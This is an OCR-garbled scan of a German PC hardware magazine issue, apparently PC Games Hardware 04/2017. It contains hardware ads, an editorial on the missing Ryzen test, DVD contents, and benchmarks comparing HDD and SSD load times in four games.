VR-ERLEBNIS А 


GTEZUR Titan SLE 


EXKLUSIV: PROZESSOR UND GRAFIK DER NEUESTEN GENERATION 
| Intel® Core" i7-7920HQ Prozessor der siebten Generation | Windows 10 Home / Windows 10 Pro | 
| Neueste GeForce® GTX 10 Grafikkarte | VR Ready | Cooler Boost Titan Kühlung | Super RAID 4 | 
| Mechanische Tastatur mit RGB-Beleuchtung | Cherry MX Speed Silver Switches | DDR4-2400 | 
| Aluminium-Gehäuse | ESS Sabre HiFi DAC | Nahimic 2 | Killer Doubleshot mit ac-WLAN | 
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ВАМ 2017: Kaufberatu SS, | 


Richtig kaufen: Welcher Arbeitsspeicher lohnt sich und worauf kommt es wirklich ап? s 


Ruckler-lest: SAITA a 


gegen PCI-Express Mm 


= 10 WQHD-Monitore im Test 

Vor AMD Lohnenswerte Displays mit 2.560 x 1.440 Pixeln s 
Ryzen: ; | 
СЧ Test: Ehemalige GPU-Giganten 


Ha emaks i Welche ist besser gealtert? - г 


Intel Kaby Lake: Neue Quad- 
cores, Boards und Notebooks 


Vierkerner für 200 Euro, Z270-Platinen, Gamer-Laptops s. 


BIOS-Mods: 
Radeons freischalten 
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expert 


Mit den besten Empfehlungen 


2 in 1 Notebook 
YOGA 710-14IKB Silber 


e 2x USB 3.0, Micro-HDMITM 

e 4-in-1-Lesegerät für Speicherkarten 
* Wi-Fi 2 x 2 ac, Bluetooth? 4.1 

* Windows 10 Home (64 bit) 

Art.Nr.: 17010036543 


Full-HD 


35,6cm 
(14 Zoll) 


Intel® Core" 15-72000 Prozessor 
(3MB Gache, bis zu 3.10 GHz) 


Nvidia" GeForce 940MX - 2 GB 
8 GB DDR4 Arbeitsspeicher 


Ultraschnelle 512 GB SSD-Platte! 
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Editorial | SERVICE 


Die PCGH: Garantiert ryzenfrei, 
aber dafür wieder vollzählig! 


Warum eigentlich kein Ryzen-Test? Zuerst einmal muss ich mich entschuldigen. Sowohl für den 


schlechten Wortwitz in der Überschrift als auch dafür, dass wir wirklich keinen Ryzen-Test in ! facebook 
der aktuellen PC Games Hardware haben. Die Sache ist kompliziert und ich vermute, eigentlich : 
wollen Sie das gar nicht hören, weil Sie zu Recht erwarten, nicht nur auf der Webseite, sondern | PCGH-Fan werden auf: 


auch in der gedruckten PCGH 04 einen Test zu finden. Sie sind vermutlich etwas enttäuscht, 
wë vielleicht auch wütend. Und lassen Sie sich versichert sein: Das sind Sie völlig zu Recht. Ähnli- 

E che Gefühle haben sich bei der PCGH-Redaktion eingestellt, als sich immer mehr abzeichnete, 

dass wir es schlicht nicht schaffen würden, ohne Rechtsbruch einen Ryzen-Test zu veróffentli- 

chen. Wir haben sogar darüber nachgedacht, den Erstveróffentlichungstag der Ausgabe 04 zu 


verschieben. Das wäre eine Option gewesen, wenn AMD uns bis Redaktionsschluss überhaupt 


Thilo Bayer 
sieh asi das genaue Embargodatum für Ryzen hätte nennen können. Während ich diese Zeilen schrei- 
PC Games Hardware be, also am 17. Februar, ist immer noch unklar, wann GENAU das sogenannte NDA ausläuft. 


Selbst wenn wir also den EVT der PCGH 04 verschoben hätten, wäre nicht klar gewesen, ob es 
für einen Test reicht. Denn: Die Produktionskette einer PCGH ist komplex - von der Abgabe der fertigen Seiten an die 
Druckerei bis zur Auslieferung vergehen immerhin sieben bis zehn Tage. Und ohne zu wissen, wann man ein Testmuster 
erhält und bis wann das Stillschweigeabkommen (NDA) läuft, lässt sich keine seriöse Planung machen. Die Redaktion hat 
wirklich alles probiert, um einen Test oder wenigstens gesicherte Infos zu Technik, Preis und mehr in die aktuelle Ausga- 
be zu bekommen; selbst dunkle Kanäle wurden hier angezapft. Am Ende haben wir uns dafür entschieden, auf offizielle 
Hardware und Unterlagen von AMD zu warten - das ist bitter für den Moment, aber dafür kónnen Sie in PCGH 05 dann 
das grófstmógliche Ryzen-Special erwarten, das wirklich alle Fragen beantwortet. Versprochen. 


Die Mannschaft ist wieder vollzählig: Es freut mich sehr, dass die PCGH-Mannschaft wieder komplett ist. Nach Manuel 
Christa ist nun auch Alexandros Bikoulis an Bord. In den kommenden Wochen werden dann alle Fachbereiche final 
verteilt, spätestens ab der kommenden Ausgabe wissen Sie dann, welcher PCGH-Redakteur welche PC-Komponenten 
hauptamtlich quält. 


Viel Spaß mit der Ausgabe Nummer 198 wünscht Ihr 


Alexandros tippt fleißig an seinem ersten 
PCGH-Artikel, in dem er ausführlich über 
die Geschichte der Leiterplatten berichtet. 


Manuel scheucht zehn WQHD-Monitore durch den Testparcours und stellt 
fest, dass 2.560 x 1.440 Pixel die goldene Preis-Leistungs-Mitte sind. 
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Ergebnissen. | С. е +++ Manuel überprüft vier von den Herstellern als Gaming-Notebooks beworbe- 

х = DÉI а k ‚ И ne Modelle тії Kaby-Lake-CPU auf ihre Spieletauglichkeit +++ Der Spieleonkel 
Nw k d testet die neueste Generation von bunt blinkenden Spielermáusen +++ Carsten 
У wirft einen ausführlichen Retro-Blick auf die Geschichte der AMD-Prozessoren +++ 
Raff zeigt in seinem Praxis-Artikel, wie Sie die Radeon RX 460 frisieren, indem Sie 
die Zahl der Shader-Einheiten von 896 auf 1.024 „aufrüsten” +++ 
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SSD fürs Betriebssystem, HDD für Spiele — lassen 
Sie das besser. Unsere Messungen verraten, wa- 
rum Sie in jedem Fall auf eine SSD setzen sollten: 


vor allem, um Lebenszeit zu sparen. 
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1 Galactic Civilizations 3 


4 Videos: (ca. 42 min.) 


1 2270-Mainboards im Detail 
WEVGA GTX 1080 SC2 iCX in Aktion 
I Marktübersicht Spielermäuse 


7 ~ ` BHBPCGH-Retrospektive 12/2008 
ur. нт полон 


— — — 


Hardware EVGA GTX 1080 ICX SC2 in Aktion: 
Grafikkarten-Guru Raffael Vötter stellt 
EVGAs neues Platinen- und Kühldesign 
im Praxiseindruck detailliert vor. 


GHDVD0417 


Heft-DVD 


Vollversion 
® Galactic Civilizations 3 


Marktübersicht Spielermäuse: 
Spieleonkel und Maus-Mann Frank 


Videos aus der PCGH-Redaktion RUNE IEEE RE MER 
3» 7270-Mainboards im Detail 

Jp EVGA GTX 1080 ICX SCH in Aktion 
3» Marktübersicht Spielermäuse 
Jp PCGH-Retrospektive 12/2008 


Specials 
X» Begleitmaterial Marktübersicht Joysticks 


Z270-Platinen im Detail: Torsten Vogel 
erláutert detailliert die jeweiligen Beson- 


Tools Bi derheiten ausgewählter Z270-Mainboards 
; Dal von verschiedenen Herstellern. 
® GPU-Z 1.17.0, MSI Afterburner 4.3.0 Final/Stable, Nvidia 
Inspector 1 ‚9.7.8, PCGH-VGA-Tool 1.0. IR Radeon Pro 1.1.1 .0, Kein Problem! Schicken Sie eine E-Mail mit Ihrer genauen Anschrift (Name, 
A : Straße, PLZ, Wohnort) und der Ausgabennummer (z. B. Ausgabe 04/2017) unter dem Betreff „PC 
Sapphire Trixx 6.3.0 Games Hardware: DVD-Reklamation" an computec@dpv.de. 


29 AS-SSD Benchmark 1.9.5986, Cinebench R15, Fraps 3.5.99, 
Prime 95 28.10, Super Pi 1.9 


® Core Temp 1.5.1, CPU-Z 1.78, HD-Tune 2.55 und 5.60 Trial, 


Die Umfrage lauft anonym, 
Imfrage g 


Auswertun 


Feedback im PCGH-Forum 


Im Online-Forum von PC Games Hardware kónnen Sie uns bequem Rückmeldung geben, welche 
Inhalte von Heft und DVD Ihnen gefallen haben. Dazu starten wir jeden Monat Umfragen und 
ein Feedback-Sammelthema. Durch Ihre Teilnahme helfen Sie uns, die Themenauswahl von PCGH 
besser auf die Wünsche der Leser abzustimmen — die einzige Voraussetzung ist ein kostenloser 
Foren-Account, der mit wenigen Mausklicks eingerichtet ist. www.pcgh.de/feedback 
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Galactic Civilizations 3 


Bitte beachten Sie, dass wir im Heft u. a. aus lizenzrechtlichen Gründen ab sofort keinen direkten Installationsschlüssel mehr 
abdrucken! Diesen erhalten Sie, indem Sie den Key auf der Codekarte auf www.pcgh.de/codes einlösen. 


I Eines der umfangreichsten 4X-Strategiespiele auf dem Markt 
I Packende Kampagne aufseiten der Menschen 

I Bis zu 128 verschiedene KI-Kontrahenten 

I Mehrspielermodus 

I Fraktionen selbst erstellen 

I Kampfsystem mit Kino-Modus 


Im 23. Jahrhundert befinden sich Menschen und Aliens in einem erbitterten 
Krieg um die Vorherrschaft in der Galaxis. Sie kontrollieren ein aufstre- 
bendes Imperium und entscheiden, ob die Ausdehnung Ihres Herrschafts- 
gebietes durch Diplomatie, Handel, kulturelle Vormacht oder militärische 
Eroberungen erfolgt. Erweitern Sie den Einfluss Ihrer Zivilisation in der 
Galaxis, um die Herzen und den Verstand der anderen Völker zu erobern: 
Schließen Sie Allianzen durch Diplomatie, Verträge oder Handel. Erforschen 
Sie geheime Technologien und fördern Sie das Wissen Ihrer Zivilisation. 
Oder bringen Sie die Galaxis durch Eroberung unter Ihre Kontrolle und 


gin ` 
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Interaktion mit Alien- 
rassen: Von diploma- 
tisch bis kriegerisch. 


vernichten Sie dabei jene, die sich Ihnen nicht unterordnen wollen. Für 
welchen Weg Sie sich auch entscheiden: Jede Partie wartet mit eigenen 
Herausforderungen, Gefahren und Konsequenzen auf. 


Ersteinrichtung: 

Für die Installation benötigen Sie eine Online-Verbindung und einen 
Steam-Account. Den Key auf der Codekarte müssen Sie zunächst für den 
Steam-Installationsschlüssel auf www.pcgh.de/codes einlósen. Nach der 
Installation lädt Steam noch ca. 2,4 GB zusätzliche (Patch-)Daten aus dem 
Internet herunter, die wir nicht auf der DVD integrieren durften. 


Systemvoraussetzungen minimal: Betriebssystem: 64 Bit Windows 7/8.x/10, CPU: 
1,8 GHz Dualcore (Intel C2D/AMD K10), RAM: 4 GiByte, Grafik: Direct-X-10.1-fähig/512 
MiB Speicher (Geforce 500/Radeon HD5000/Intel HD 4000), HDD/SSD-Speicher: 12 GByte. 
Systemvoraussetzungen empfohlen: Betriebssystem: 64 Bit Windows 7/8.x/10, CPU: 
2,3 GHz Intel Core i5 oder gleichwertig, RAM: 6 GiByte, Grafik: Direct-X-10.1-fähig/1.024 
MiB Speicher, HDD/SSD-Speicher: 15 GByte. 


Erkunden Sie die Galaxis und machen Sie 
sich die entdeckten Ressourcen zunutze. 


Die Kämpfe können Sie auch in Echtzeit 
auf Schiff-Ebene verfolgen und steuern. 


www.pcgameshardware.de 
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Praktisch jeder Spieler besitzt wohl eine SSD, zumin- 
dest für das Betriebssystem. Lohnt es sich, Spiele auf 
eine SSD zu installieren, oder reicht eine HDD aus? 


ine SSD für das Betriebssys- 


tem besitzt mittlerweile wohl Drive. Doch welchen Effekt hat 
ein Großteil der Spieler - kaum das eigentlich auf die Spiele? Wie 


auszuhalten sind ansonsten Boot- 
zeiten, Zugriffe und das tráge An- 
sprechverhalten. Neben Windows 
bietet eine 551 zumeist auch 
noch Platz für einige Spiele. Doch 
deren Umfang sprengt zur heu- 
tigen Zeit nicht selten 50 GiByte, 
häufig bietet eine SSD nur Platz 


für eine Handvoll Titel. Für den Unser 
Rest hat der Nutzer zumeist noch ` 


d 


ein gutes altes Datengrab in Form ` 


einer konventionellen HDD im 


Gehäuse verbaut. Der eine oder 


andere nutzt auch mehrere SSDs, 
legt Spiele auf die eine und das Be- 
triebssystem auf die andere. Viel- 

leicht nutzen einige High- 
speed-Fans auch 


“y schon ein per A time-Graphe 


PCLE angebundenes Solid-State- 


stark unterscheiden sich die La- 
dezeiten und wirkt sich die Ge- 
schwindigkeit des Laufwerks 
auch auf die Leistung im 
Spiel selbst aus? Diesen Fra- 
gen werden wir anhand 
von sechs Titeln und drei 
Szenarien nachgehen. 
Betriebssystem 
liegt auf einer SSD, die 
Spiele abwechselnd 
auf einer HDD, einer 
zweiten SSD und ei- 
ner extrem flotten 
PCI-E-SSD. Wir messen 
die Ladezeiten und eva- 
luieren Leistungsunter- 
schiede mittels Frame: 
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Doom 


er technisch fortschrittliche 

Oldschool-Shooter aus dem 
Hause id Software ist unser erster 
Kandidat - 
ter. Das Spiel nutzt auch nach der 
Modernisierung des technischen 
Grundgerüstes die aus Rage be- 


und ein interessan- 


kannten Megatextures: Die Техги- 
ren liegen nomen est omen in ein- 
zelnen, gewaltigen Dateien vor. Die 
Engine lädt jedoch nur einzelne 
benötigte Elemente. Der Nachteil 
der Megatextures sind der große 
Umfang und potenzielle Schwierig- 
keiten beim Streaming, schließlich 
muss die Engine beständig auf die 
auf dem Laufwerk befindlichen 
Texturen zugreifen, Elemente die- 
ser schnell genug in den Speicher 
laden und der Grafikkarte zur Bild- 
berechnung zur Verfügung stellen. 
Aus diesem Grund nimmt Doom 
nicht nur knapp 80 GiByte Spei- 
cher auf dem Laufwerk in Beschlag, 
sondern fällt beim Spielen auch 
durch eine hohe Laufwerkslast ins 
Auge. 


Der Benchmark 

Doom benötigt also potenziell ei- 
nen hohen Datendurchsatz, um 
wirklich flüssig zu laufen. Aller- 
dings müssen wir die Engine schon 
recht kräftig fordern, damit Un- 
terschiede sichtbar werden. Dazu 
nutzen wir die gleiche Benchmark- 
Szene, die wir bereits für unseren 
RAM-Test in der Ausgabe 02/2017 
verwendeten: Im Kapitel „Kadin- 


gir Heiligtum“ sprinten wir vom 
Levelstart rund 55 Sekunden durch 
den Höllenlevel, die längste Stre- 
cke, die wir ohne Backtracking re- 
produzierbar messen können. Die 
Settings stehen auf „Ultra“; um die 
Streaming-Last nochmals deutlich 
zu erhöhen, haben wir außerdem 
die „Nightmare“-Texturen aktiviert. 
Eine Bemerkung am Rande: Mit 
dem zum Artikelzeitpunkt aktuel- 
len Geforce 378.49 WQHL hatten 
wir in Doom mit massiven Strea- 
ming-Problemen zu kämpfen, Tex- 
turen luden nur eine sehr niedrige 
Qualitätsstufe. Wir nutzen daher 
für diesen Artikel den vorherigen 
WHQL-Treiber 376.49. 


Streaming am Limit 

Mitsamt den „Nightmare“-Texturen 
und den sehr hohen Bildraten, wel- 
che die Gigabyte GTX 1080 G1 Ga- 
ming in Full HD zu leisten imstande 
ist, ist das Streaming leicht überfor- 
dert: Bei scharfen Kurven, wenn 
die Engine aufgrund der plötzli- 
chen Änderung der Perspektive 
auf einen Schlag viele neue Daten 
zur Verfügung stellen muss, treten 
auch mit einer SSD kleine Ruckler 
auf. Diese fallen mit der Western- 
Digital-HDD, einem typischen Da- 
tengrab, jedoch am häufigsten und 
stárksten aus. Die mittels PCIE und 
vier Lanes angebundene Toshiba 
RVD400 NVME-SSD zeigt das bes- 
te Ergebnis, ganz ruckelfrei ist die 
Performance indes auch hier nicht. 


Ladezeiten in Doom 


Spielstart nach Klick auf Ausführungsdatei 
HDD p 44,4 (Basis) 
SATA-SSD EEE 12,8 (-71%) 
PCI-E-SSD ШШ 5,6 (-87%) 
Erstes Laden des Spielstands 
HDD 12,7 ((Basis) 
SATA-SSD ЖЕЕ 12,5 (2%) 
PCI-E-SSD 10,9 (-14%) 
Zweites Laden des Spielstands 
HDD 11,2 (Basis) 
SATA-SSD m, (C190) 


PCI-E-SSD EEUU 10,7 (496) 
System: Core i7-6900K @ 4,0 GHz, Gigabyte GTX 1080 G1 Gaming, MSI X99A Gaming Sekunden 
Pro Carbon, Western Digital Black (WD2001FASS), Muskin Striker (MKNSSDST480GB), OCZ Besser 
RD400 (Toshiba RDV400-M22280-512GB), Geforce 376.49 WHQL 


Doom — HDD versus SATA-SSD 


Doom - SATA-SSD versus PCI-E-SSD 


1.920 x 1.080, „Into the Fire Extended”, Nightmare-Textures, TSSAA 8Tx 


1.920 x 1.080, „Into the Fire Extended”, Nightmare-Textures, TSSAA 8Tx 


60 60 
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0 0 
0 5 10 15 20 25 30 35 40 45 50 55 0 5 10 15 20 25 30 35 40 45 50 55 
Zeit in Sekunden Zeit in Sekunden 
System: Core i7-6900K @ 4,0 GHz, Gigabyte GTX 1080 G1 Gaming, X99A, Western Digital Black (WD- System: Core i7-6900K @ 4,0 GHz, Gigabyte GTX 1080 G1 Gaming/8G, X99A, Western Digital Black (WD- 
2001FASS), Muskin Striker (MKNSSDST480GB), OCZ RD400 (Toshiba RDV400-M22280-512GB), Gef. 376.49 2001FASS), Muskin Striker (MKNSSDST480GB), OCZ RD400 (Toshiba RDV400-M22280-512GB), Gef. 376.49 
Bemerkungen: HDD: Ø-FT: 6,32 ms; 1-Percentile: 10,8 ms; SATA-SSD: Ø-FT: 6,3 ms; 1-Percentile: 9,9 ms Bemerkungen: SATA-SSD: Q-FT: 6,3 ms; 1-Percentile: 9,9 ms; PCle-SSD: Ø-FT: 6,2 ms; 1-Percentile: 9,5 ms 
www.pcgameshardware.de 04/17 | PC Games Hardware 9 


SPECIAL | HDD vs. SSD und die Auswirkungen in Spielen 


The Witcher 3 


Ladezeiten in The Witcher 3 


Spielstart nach Klick auf Ausführungsdatei 
HDD s 25,3 (Basis) 
SATA-SSD EEG 9,8 (-61%) 
PCI-E-SSD EEE 9 (-64%) 
Erstes Laden des Spielstands 
HDD 30,5 (Basis) 
SATA-SSD = 29,6 (-3%) 
PCI-E-SSD E 28,8 (-6%) 
Zweites Laden des Spielstands 
HDD 28,9 (Basis) 
SATA-SSD ra 28,1 (3%) 
PCI-E-SSD 27,9 (-3%) 


System: Core i7-6900K @ 4,0 GHz, Gigabyte GTX 1080 G1 Gaming, MSI X99A Gaming 
Pro Carbon, Western Digital Black (WD2001FASS), Muskin Striker (MKNSSDST480GB), OCZ 
RD400 (Toshiba RDV400-M22280-512GB), Geforce 376.49 WHQL 


Sekunden 
< Besser 


as — Rollenspiel-Meisterwerk 

The Witcher 3 soll in unse- 
rem Testfeld nicht fehlen, denn 
es ist nicht nur außerordentlich 
beliebt, sondern auch sehr um- 
fangreich. Um die riesige Rollen- 
spielwelt darzustellen, setzt die 
RED Engine 3 außerdem stark auf 
Streaming.Beständig werden Daten 
von der Festplatte in den Speicher 
geschaufelt. Die Engine von The 
Witcher 3 unterteilt die Spielwelt 
in kleine Kacheln und lädt eine 
bestimmte Anzahl dieser um den 
Spieler gelegenen Quadrate samt 
deren Inhalte von der Festplatte in 
den Speicher. Je schneller sich die 
Spielfigur fortbewegt, desto weni- 
ger Zeit steht für das Laden dieser 
Daten außerdem zur Verfügung. 


Der Benchmark 

Die schicke Technik von The 
Witcher 3 fordert ferner die Gra- 
fikkarte recht stark und stellt in 
komplexen, dicht bevölkerten 
Stadtgebieten zudem durchaus 
eine Herausforderung für die CPU 
dar. Mit unserem Testsystem sto- 
ßen wir daher in Full HD und mit 
Ultra-Details bei rund 100 Fps an 
die Leistungsgrenze unseres Pro- 
zessors, wenn Geralt etwa durch 
die Straßen des Beauclair-Palastes 
zieht. Dies wiederum kann zu Ruck- 
lern führen, die wir in diesem Test 
nicht gebrauchen können, schließ- 
lich wollen wir die Auswirkungen 
der Laufwerke analysieren, nicht 


die Prozessorleistung studieren. 
Aus diesem Grund verlassen wir 
die Stadt und reiten 60 Sekunden 
durch die wilde Landschaft, etwa 
50 davon im gestreckten Galopp, 


die letzten 10 Sekunden im Trab. 


SSD deutlich im Vorteil 

Liegt The Witcher 3 auf der HDD, 
wird unser Ausritt alle paar Sekun- 
den von deutlich spür- und sicht- 
baren Rucklern gestört. Das Nach- 
laden von der HDD ist zudem auch 
mit den Ohren wahrzunehmen, das 
charakteristische Rattern und Rö- 
deln der konventionellen Festplatte 
ist während des Rittes ein beständi- 
ger Begleiter. In ruhigeren Szenen 
indes fallen sowohl die hörbaren 
Äußerungen der HDD als auch de- 
ren Auswirkungen auf die Perfor- 
mance wesentlich niedriger aus. 
Liegt das Spiel auf einer der SSDs, 
verschwinden die Nachladeruck- 
ler. Der Unterschied ist deutlich 
zu bemerken. Allerdings handelt es 
sich bei unserem Benchmark auch 
um ein verschärftes Szenario, das 
Streaming ist durch die Art unse- 
rer Fortbewegung und die hohen 
Bildraten doppelt belastet. Die per 
PCIe х4 verbundene NVMe-SSD lie- 
fert nochmals etwas bessere Ergeb- 
nisse, jedoch fallen diese selbst in 
unserem Szenario zwar mess-, aber 
kaum spürbar aus. Bei den Ladezei- 
ten sind die SSDs ganz besonders 
bei dem per HDD quälend langen 
Spielstart bevorteilt. 


The Witcher 3 — HDD versus SATA-SSD 


The Witcher 3 — SATA-SSD versus PCI-E-SSD 


1.920 x 1.080, „Ride through the Hills”, Ultra, Gameworks aus 
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Zeit in Sekunden 


System: Core i7-6900K @ 4,0 GHz, Gigabyte GTX 1080 G1 Gaming/8G, X99A, Western Digital Black (WD- 
2001FASS), Muskin Striker (MKNSSDST480GB), OCZ RD400 (Toshiba RDV400-M22280-512GB), Gef. 376.49 
Bemerkungen: HDD: @-ЕТ: 8,38 ms; 1-Percentile: 14,7 ms; SATA-SSD: @-FT: 8,32 ms; 1-Percentile: 12,8 ms 


System: Core i7-6900K @ 4,0 GHz, Gigabyte GTX 1080 G1 Gaming, X99A, Western Digital Black (WD- 


2001FASS), Muskin Striker (MKNSSDST480GB), OCZ RD400 (Toshiba RDV400-M22280-512GB), Gef. 376.49 
Bemerkungen: SATA-SSD: @-ЕТ: 8,32 ms; 1-Percentile: 12,8 ms; PCle-SSD: Ø-FT: 8,2 ms; 1-Percentile: 12,4 ms 
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1&1 DSL 


INTERNET & TELEFON 


Der 1&1 HomeServer Speed mit neuester 
WLAN-Technologie für bestes Internet 
im ganzen Haus! 


Sparpreis für 12 Monate, 
danach 24,99 €/Monat. 


Batman Superman 


Nur bis 31.03. 
NETFLIX vf ZT 
© 5b Google Play 


( 02602/ 96 90 


*1&1 DSL Basic für 12 Monate 9,99 €/Monat, danach 24,99 €/Monat. Inklusive Telefon-Flat ins dt. Festnetz, Internet ohne Zeitlimit (monatlich 100 GB bis zu 16 MBit/s, danach bis 


1 MBit/s) und 1&1 DSL-Modem für 0,- €. Auf Wunsch 32" (81 cm) JVC Full-HD LED-Fernseher und Google Chromecast ab einmalig 229,- € telefonisch bestellbar unter: 02602/9690 

oder Fernseher inklusive bei z. B. 1&1 DSL 16 für 29,99 €/Monat. Voraussetzung für die Nutzung von Google Chromecast ist ein WLAN-fähiger Router, z.B. mit 1&1 HomeServer 

Speed für 4,99 €/Monat mehr. Netflix-Streaming-Mitgliedschaft erforderlich. Google Play und das Google Play-Logo sind Marken von Google Inc. Router-Versand 9,90 €. 1 d 1 d 

24 Monate Vertragslaufzeit. Preise inkl. MwSt. 1&1 Telecom GmbH, Elgendorfer StraBe 57, 56410 Montabaur u n и е 
© 2016 Warner Bros. Entertainment Inc. and Ratpac-Dune Entertainment Inc. BATMAN V SUPERMAN: DAWN OF JUSTICE and all related characters and elements are trademarks 

of and O DC Comics. All rights reserved. 
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The Solus Project 


Ladezeiten in The Solus Project 


Spielstart nach Klick auf Ausführungsdatei 
HDD Si 19.4 (Basis) 
SATA-SSD pu 7,6 (-61%) 
PCI-E-SSD pu 4,5 (-77%) 
Erstes Laden des Spielstands 
HDD sl 20,2 ((Basis) 
SATA-SSD Eu 7,8 (-61%) 
PCI-E-SSD E 6,7 (-67%) 
Zweites Laden des Spielstands 
HDD NENNEN 5,3 (Basis) 
SATA-SSD mwa 5,1 (-4%) 
PCI-E-SSD ma“ 4,7 (-11%) 


System: Core i7-6900K @ 4,0 GHz, Gigabyte GTX 1080 G1 Gaming, MSI X99A Gaming 
Pro Carbon, Western Digital Black (WD2001FASS), Muskin Striker (MKNSSDST480GB), OCZ 
RD400 (Toshiba RDV400-M22280-512GB), Geforce 376.49 WHQL 


Sekunden 
< Besser 


as vom Indie-Entwickler Teotl 
) stammende The Solus 
Project ist der Außenseiter in die- 
sem Artikel. Das Sci-Fi-Abenteuer 
ist ein zahmer Vertreter des Survi- 
val-Genres, gewürzt mit einer tüch- 
tigen Portion ,Wandersimulator*. 
Die hübsche, jedoch nicht sonder- 
lich fordernde Optik wird mithilfe 
der Unreal Engine 4 realisiert. Zu- 
dem ist The Solus Project mit gän- 
gigen VR-Brillen kompatibel. Die 
hübschen und teils sehr fremdartig 
wirkenden Umgebungen des Plane- 
ten Gliese-6143-C sind sehr ansehn- 
lich umgesetzt und bieten einen 
Tag-Nacht-Wechsel, Ebbe und Flut 
sowie eine Vielzahl verschiedener 
Wettersysteme. Dazu kommt eine 
weitlàufige Inselwelt, die zumeist 
durch Hóhlensysteme und Lade- 
bildschirme miteinander verbun- 
den sind. Eine zusammenhängen- 
de, ladefreie Sandbox-Welt wie 
viele andere Genre-Vertreter bietet 
The Solus Project also nicht. Mit 
knapp unter 10 GiByte, dem eher 
gemächlichen Spieltempo und der 
eher anspruchslosen Technik so- 
wie den wenig belastenden Textu- 
ren ist The Solus Project ein Titel, 
den wir streamingtechnisch eher 
unauffällig klassifizieren würden. 


Der Benchmark 

Nachdem wir einige Szenen in ver- 
schiedenen Levels und deren Per- 
formance in Augenschein genom- 
men haben, wählen wir eine Szene 


direkt zu Beginn des Spiels. Der 
lauschige, doch fremdartige Strand 
bietet uns reichlich Auslauf für eine 
60-Sekunden-Messung. Wir legen 
die Tageszeit sowie die Wetterlage 
per Konsolenbefehl fest und spei- 
chern den Spielstand manuell mit 
einem weiteren Kommando. Nun 
lässt sich die Szene einfach repro- 
duzieren und als Benchmark ver- 
wenden. Die Vegetation und ver- 
hältnismäßig hohe Objektdichte 
sorgen für eine gegenüber anderen 
Szenen recht hohe Last. Dennoch 
sind hohe Bildraten kein Problem, 
die von uns verwendete und werks- 
übertakete GTX 1080 liefert in Full 
HD Bildraten jenseits 200 Fps. 


Eine SSD bringt nur geringe 
Vorteile 

Beim Spielen ist es prinzipiell egal, 
ob The Solus Project auf einer HDD 
oder einer SSD installiert wurde. 
In jedem Fall treten bei unseren 
Messungen feine und recht regel- 
mäßige Stocker auf, die eventuell 
auf den dynamsichen Tag-Nacht- 
Zyklus und die für die Darstellung 
benötigten Beleuchtungsdaten so- 
wie Cube-Maps hinauslaufen. Zwar 
können wir minimale Vorteile für 
die SATA-SSD und nochmals kleine- 
re für die PCI-E-SSD in den Messun- 
gen feststellen, spürbar sind diese 
aber nicht. Die deutlich kürzeren 
Ladezeiten aufseiten der beiden 
SSDs sind allerdings positiv hervor- 
zuheben. 


The Solus Project - HDD versus SATA-SSD 


The Solus Project - SATA-SSD versus PCI-E-SSD 


1.920 x 1.080, „Alien Horizons", max. Detail, TAA 
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1.920 x 1.080, „Alien Horizons”, max. Detail, ТАА 
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Zeit in Sekunden 


System: Core i7-6900K @ 4,0 GHz, Gigabyte GTX 1080 G1 Gaming, X99A, Western Digital Black (WD- 
2001FASS), Muskin Striker (MKNSSDST480GB), OCZ RD400 (Toshiba RDV400-M22280-512GB), Gef. 376.49 
Bemerkungen: HDD: Ø-FT: 4,62 ms; 1-Percentile: 8,25 ms; SATA-SSD: Ø-FT: 4,61 ms; 1-Percentile: 7,93 ms 


System: Core i7-6900K @ 4,0 GHz, Gigabyte GTX 1080 G1 Gaming, X99A, Western Digital Black (WD- 


2001FASS), Muskin Striker (MKNSSDST480GB), ОС7 RD400 (Toshiba RDV400-M22280-512GB), Gef. 376.49 
Bemerkungen: SATA-SDD: Ø-FT: 4,61 ms; 1-Percentile: 7,93 ms; PCle-SSD: &-FT: 4,5 ms; 1-Percentile: 7,86 ms 
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Rise of the Tomb Raider 


as jüngste Abenteuer um die 

fesche Grabräuberin Lara 
Croft ist nicht nur umfangreich, 
sondern bietet auch einige weitläu- 
fige Szenarien, die sehr speicher- 
lastig ausfallen können, sollte die 
maximale Texturqualität aktiviert 
sein. Dazu ist Rise of the Tomb 
Raider außerdem grafisch recht an- 
spruchsvoll, die für den Titel stark 
überarbeitete Foundation Engine 
fordert darüber hinaus auch die 
CPU ordentlich, insbesondere in 
den größeren Außenarealen, wo 
eine hohe Weitsicht, viele Objekte 
und NPCs dem Streaming eine be- 
sondere Last auferlegen. Dies alles 
verstärkt sich nochmals, wenn wir 
die Einstellungen und Auflösung 
so wählen, dass wir trotz kräftiger 
Grafiklast noch immer relativ hohe 
Bildraten erhalten. 


Der Benchmark 

Ein solches Szenario haben wir für 
unsere Messungen auserkoren: Die 
Grafikeinstellungen stehen inklu- 
sive Texturen auf „sehr hoch“, die 
Auflösung beträgt jedoch lediglich 
1.920 x 1.080 Pixel. Die GTX 1080 
liefert so noch eine Framerate um 
90 Fps. Im Geothermalen Tal sprin- 
ten wir ausgehend von der Hütte 
im Südwesten durch das dichte 
Unterholz, durchqueren die Rebel- 
lensiedlung und folgen dem Pfad 


hohe Streaming-Last, deutlich hór- 
bar anhand der rasselnden Lebens- 
äußerungen der HDD, sollte Rise of 
the Tomb Raider auf dieser instal- 
liert sein. Und tatsächlich sind auch 
hin und wieder kräftige Stocker be- 
merkbar, die mit einer SSD nicht 
auftreten. 


Abgesehen von diesen vereinzel- 
ten Stockern wird die Performance 
in Rise of the Tomb Raider aber 
nur begrenzt davon beeinträch- 
tigt, wo wir das Spiel installiert 
haben. Einige sehr kleine Ruckler 
im 10-ms-Bereich zeigen sämtliche 
Frametime-Messungen. Die per 
PCIE angebundene NVMe-SSD ist 
gegenüber der SATA-SSD messtech- 
nisch sowohl bei den Frametimes 
als auch den Ladezeiten minimal 
im Vorteil, jedoch dürfte dies in 
der Praxis wohl niemandem auffal- 
len, zu klein sind die Unterschiede. 
Generell erscheint es uns nicht 
sonderlich lohnenswert, Rise of 
the Tomb Raider auf eine SSD zu in- 
stallieren. Zwar sind die Ladezeiten 
von der HDD ein paar Sekunden 
länger, aber dies betrifft eigentlich 
nur den Spielstart und das erste La- 
den eines Spielstandes. Die verein- 
zelten Ruckler beim Streaming von 
der HDD sind zwar auffällig und 
können mit einer SSD vermieden 
werden, sie wurden jedoch auch 


Ladezeiten in Rise of the Tomb Raider 


Spielstart nach Klick auf Ausführungsdatei 
HDD 6,8 (Basis) 
SATA-SSD Fo 3,6 (-47%) 
PCI-E-SSD EE 2,7 (-60%) 
Erstes Laden des Spielstands 
HDD 23,4 (Basis) 
